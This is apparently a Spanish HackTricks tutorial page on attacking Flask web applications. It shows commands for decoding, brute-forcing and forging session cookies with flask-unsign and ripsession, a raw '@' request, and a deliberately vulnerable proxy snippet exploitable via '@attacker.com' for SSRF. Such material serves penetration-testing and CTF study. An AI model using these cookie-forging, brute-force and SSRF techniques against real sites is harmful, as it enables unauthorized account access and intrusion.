Flask

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con SSTI.

Cookies

El nombre de la sesión de cookie por defecto es session.

Decoder

Decodificador de cookies de Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obtén la primera parte de la cookie hasta el primer punto y decodifícalo en Base64.

echo "ImhlbGxvIg" | base64 -d

La cookie también está firmada usando una contraseña

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, forzar y crear cookies de sesión de una aplicación Flask adivinando claves secretas.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Fuerza Bruta

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firma

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firmado usando versiones antiguas (legacy)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente las cargas útiles de sqlmap para Flask usando un secreto conocido.

Proxy de Flask a SSRF

En este informe se explica cómo Flask permite una solicitud que comienza con el carácter “@”:

GET @/ HTTP/1.1
Host: target.com
Connection: close

En el siguiente escenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podría permitir introducir algo como “@attacker.com” para causar un SSRF.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks